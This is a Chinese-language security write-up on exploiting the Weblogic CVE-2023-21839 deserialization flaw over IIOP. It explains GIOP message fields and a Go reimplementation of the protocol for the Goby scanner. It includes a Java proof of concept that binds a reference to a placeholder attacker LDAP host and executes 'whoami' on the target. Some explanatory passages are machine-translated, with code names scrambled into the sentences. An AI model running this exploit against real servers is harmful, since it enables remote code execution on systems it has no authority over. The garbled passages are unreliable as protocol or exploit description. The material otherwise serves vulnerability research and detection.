跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

0x01 探索总结

Weblogic序列化漏洞主要依赖于T3和IIOP协议,在通信交互方面存在诸多问题,如跨语言、网络传输等,给漏洞检测和利用带来诸多不便。在WhiteHat Labs的理念中,漏洞检测和利用是一项创造性的工作,应该以最简洁高效的方式实现,以保证漏洞的跨平台性和实用性。因此,我们实现了跨语言的IIOP协议通信方案来解决序列化漏洞问题。

在Goby的CVE-2023-21839漏洞中,我们成功实现了IIOP协议跨语言通信的解决方案,在漏洞检测和利用上取得了完美的效果。

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

0x02 Weblogic IIOP

GIOP是CORBA规范定义的一种协议,用于分布式对象之间的通信和交互。它为对象的请求、响应、异常、命名等定义了基本的通信模式和协议规范。简单来说,GIOP是一种抽象的协议标准,定义了通信模式和协议规范,并不是具体的协议实现。

IIOP 是一个 TCP/IP 协议栈,它实现了 GIOP 协议,允许 CORBA 对象通过 Internet 进行通信和交互。简单来说,IIOP协议就是在TCP/IP层实现的GIOP协议。

RMI-IIOP 是Java 远程方法调用(RMI) 协议的一种实现方式,它扩展了IIOP 协议,具有通过RMI 远程调用Java 对象的功能。简单来说,RMI-IIOP 协议结合了RMI 远程调用Java 对象的功能和IIOP 协议。(在本文的 Weblogic 部分,RMI-IIOP 将被视为 IIOP 协议。)

在《Weblogic IIOP Protocol NAT Network Bypass》一文(https://www.r4v3zn.com/posts/144eb4b6/#more)中提到“T3协议本质上是RMI中用于数据传输的协议。RMI- IIOP同时兼容RMI和IIOP,因此在Weblogic中,任何可以通过T3序列化的代码也可以通过IIOP协议进行序列化。对于同时启用了IIOP和T3协议的Weblogic,在序列化数据协议传输的过程中并没有本质区别,Weblogic在通信过程中可能存在网络问题。因此,为了解决Java序列化问题和IIOP网络问题,我选择了IIOP协议作为本次Weblogic序列化协议研究的重点。

0x03 IIOP攻击流程

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

以CVE-2023-21839 Weblogic序列化漏洞为例,在Weblogic的IIOP攻击过程中,攻击者首先初始化上下文信息,使用rebind()方法将恶意对象绑定到注册表,然后触发该漏洞通过使用 lookup() 方法从恶意地址远程加载存根对象。自定义的恶意对象在加载过程中进行自绑定操作,将一个带有echo的对象绑定到Weblogic注册中心,然后远程调用该对象中的方法,达到攻击echo的目的。

概念验证(poc):

public class main {
    public static void main(String[] args) throws NamingException, RemoteException {
        ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference("ldap://xxx.xxx.xxx.xxx:1389/exp", null);
        String iiop_addr = "iiop://10.211.55.4:7001";
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", iiop_addr);
        Context context = new InitialContext(env);    // Initialize context and establish interactive connections  LocateRequest LocateReply
        String bind_name = String.valueOf(System.currentTimeMillis());
        context.rebind(bind_name, foreignOpaqueReference);  //Bind remote objects rebind_any
        context.lookup(bind_name);  // Get Remote Objects resove_anyClusterMasterRemote
        clusterMasterRemote = (ClusterMasterRemote)context.lookup("selfbind_name"); //Obtain self bound echo objects
        System.out.println(clusterMasterRemote.getServerLocation("whoami"));  // Executing methods in remote objects
    }
}

3.1 Java中的攻击流程

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

Weblogic中IIOP序列化交互开始时,客户端用new初始化上下文信息,InitialContext()并使用locateNameService()方法将目标地址、序列化对象等信息封装到IIOP协议请求包中作为消息LocateRequest与Weblogic服务器建立通信.

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

当客户端收到LocateReply来自服务器的消息时,表明通信交互已经建立。客户端会解析响应消息体中的信息,提取相关信息(如Key Address、内部类地址、上下文信息等)作为下一次请求消息的验证信息。

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

通信建立后,IIOP 将Key Address在交互建立期间使用服务器响应数据包中的作为下Key Address一个请求中的。bind()or方法执行时rebind(),会将绑定的对象名称、对象的序列化数据等信息封装到Stub data请求消息体的字段中进行消息传输。

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议
跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议
  1. IIOP 协议在执行lookup()方法时,首先调用lookup()创建的上下文对象中的方法。该方法根据上下文是否为 类型来决定调用lookup()哪个方法。由于上下文对象属于 NamingContextAny 类型,所以字符串 var1使用该方法转换为数组并传递给该方法。最后将消息封装成序列化的字节流,通过调用方法发送给服务端。lookup()NamingContextAnyWNameComponent (Wide Name Component)Utils.stringToWNameComponent(var1)this.lookup()resolve_any()

0x04 IIOP的跨语言实现

在“IIOP攻击过程中“一章,在交互部分,当Weblogic处于内网环境时,客户端会使用LocateReply中返回的Weblogic内部类的内部网络地址作为下一个数据包的目标地址。这会导致客户端发送数据包到自己的内部地址,导致网络通信中断问题。另外,由于Go没有官方的IIOP协议库,所以很难对Goby安全工具实施漏洞攻击。如果我们添加一个Java程序作为插件,会使Goby更加臃肿,不符合白帽学院安全研究院的漏洞价值观,针对这些问题,我们决定直接复制IIOP协议作为最终解决方案。

4.1 实现思路

协议通信的本质是在网络上以字节流的形式传输数据。因此,Go实现IIOP协议的方式是模拟IIOP通信的字节流。 对于上一节描述的攻击过程,我们将攻击过程中的IIOP协议通信分为四个部分:建立交互、绑定远程对象、获取远程对象、执行对象方法。在Java中,这些主要是通过以下方法来完成的:

Context context = new InitialContext(env);    // Initialize up and down connections, establish interactive connections LocateRequest message LocateReply function
context.rebind(bind_name, foreignOpaqueReference);  // bind remote object Request message rebind_any function
context.lookup(bind_name);  // get remote object Request message lookup function
ClusterMasterRemote clusterMasterRemote = (ClusterMasterRemote)context.lookup("selfbind_name"); //Obtain self bound echo objects 
clusterMasterRemote.getServerLocation("whoami");  // Executing methods in remote objects

在模拟IIOP协议实现时,我们只需要实现上述方法执行过程中协议交互的字节流即可。

4.2 GIOP协议规范

GIOP(General Inter-ORB Protocol)是CORBA规范定义的一种协议,用于分布式对象之间的通信和交互。它定义了对象请求、响应、异常、命名等的基本通信模式和协议规范。

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

GIOP 消息由两部分组成:消息头和消息体。

GIOP消息头包括四个字段:Magic(GIOP标识)、Version(GIOP版本)、Message Flags(标志)、Message type(消息类型)和Message size(消息体长度)。

在GIOP消息体中,主要包括Request id(请求标识)、TargetAddress(目标对象密钥ID)、Key Address(密钥地址)、Request operation(操作方法)、ServiceContext(服务上下文信息)等字段。

限于篇幅,这里不再详述GIOP字段的含义。如果您想更深入地研究协议内容,请参阅我们总结的手册“GIOP 协议分析”。( https://github.com/FeatherStark/GIOP-Protocol-Analysis)。

4.2.1 GIOP协议通讯过程

  • 在通信的初始阶段,客户端首先LocateRequest向服务器发送一个类型的消息来建立通信。服务端验证请求信息并响应消息类型,LocateReply表示已经收到客户端的请求,开始与客户端进行交互。
  • 通信建立后,客户端发送一个类型的消息Request来执行服务器中的一个方法。消息的请求体Request包含键地址(Key Address)、要执行的方法名(Request operation)、消息上下文(Service Context)、调用远程对象的信息(Stub data)等。
  • 服务器正确接收并解析请求消息后,返回一条No ExceptionReply类型的消息。如果请求报文解析错误或者服务器端出现异常,则服务器响应一个类型为Reply的User Exception/System Exception消息,响应体中包含异常ID( Exception id)信息。

4.3 初始化上下文

Context context = new InitialContext(env); *// Initialize up and down connections, establish interactive connections LocateRequest message LocateReply function*

在Java代码中,初始化上下文信息建立了对象创建过程中的IIOP协议交互过程。因此,在Go语言中,实现Weblogic生成的字节流new InitialContext(env)并发送给Weblogic就足够了。IIOP 协议实现中创建对象的过程new InitialContext(env)由消息表示LocateRequest

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

客户端发送的消息LocateRequest有固定的格式,包括GIOP协议标识、协议版本、消息类型、消息标识等信息。

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

由于LocateRequest是固定格式的序列,可以直接发送给服务器建立交互连接。

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

服务端收到LocateRequest消息并验证无误后,向客户端响应消息LocateReply。该LocateReply消息包含有关服务器上下文、密钥地址、长度和其他详细信息的信息。

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

交互建立后,在接下来的通信过程中会用到响应体中的关键地址,所以需要将其提取保存起来,以备后用。为此,我们需要提取第一个的长度Key Address length,然后根据Key的长度计算出Key Address,并存储起来以备下次请求使用。另外,由于下一个请求包的目标地址在我们的控制之下,从根本上避免了之前出现的NET网络问题。通过这样做,通信已成功建立。

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

通信建立后,为了验证Key Address服务器返回的合法性,我们向服务器发送一条Request带有方法名的消息。_non_existent如果服务器以No Exception状态响应,则表明该Key Address有效。

4.4 绑定远程对象

context.rebind(bind_name, foreignOpaqueReference); *// bind remote objests Request message rebind_any function* 

在 Java 语言中,该rebind()方法可用于将对象绑定到 Weblogic 注册表。在Go语言中,我们可以实现方法的字节流context.rebind(),将要绑定的名称和序列化对象添加到字节流中,然后发送给Weblogic。

rebind()在IIOP协议的具体实现中, method的操作方法名是rebind_any.

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

通过该rebind_any方法将绑定名称和序列化后的对象数据Stub data发送给服务器,服务器进行重新绑定操作,将对象绑定到Weblogic Register。

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

在Go中模拟该方法的核心rebind_any是将生成的payload字节流添加到请求体末尾的Stub数据段中。

4.5 获取远程对象

context.lookup(bind_name); *// bind remote object Request message lookup function*

在Java代码中,lookup()可以通过context对象的方法获取Weblogic中绑定名的stub对象。同样,在Go语言中,我们可以实现方法的字节流context.lookup(),将要绑定的名称添加到字节流中,然后发送给Weblogic。

在IIOP协议的具体实现中,lookup() 方法的操作方法名是resolve_any.

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

resolve_any方法通过发送注册命名信息获取注册中心的存根对象。这里的Go字节码实现和前面的类似,都是把信息放在里面,Stub data然后发送给服务器,但是这里存放的是stub的命名信息.

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

的响应消息resolve_any会生成一个新的Key Address,其中包含获取远程对象的引用地址等信息。在执行该对象中的方法时,需要将新请求消息中的Key Address替换为该信息。这样对象中的方法就可以正常执行了。

4.6 执行对象方法

执行完lookup()方法后,我们就得到了远程对象的存根信息,然后就可以调用对象中的方法来达到调用远程方法的目的了。代码 clusterMasterRemote.getServerLocation(“whoami”) 是调用远程对象中方法的示例。

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

以上内容描述了在CVE-2023-21839漏洞上绑定echo类,使用Go语言实现字节流的过程。我们需要以GIOP字节流的格式实现字节流,将Request操作字段的值设置为我们要执行的方法名,将Operation长度设置为方法名的长度,并设置Stub数据到执行方法的字节流。最后封装成GIOP字节流发送给Weblogic。该方法可以触发漏洞并获得回声效果,如下图所示。

跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注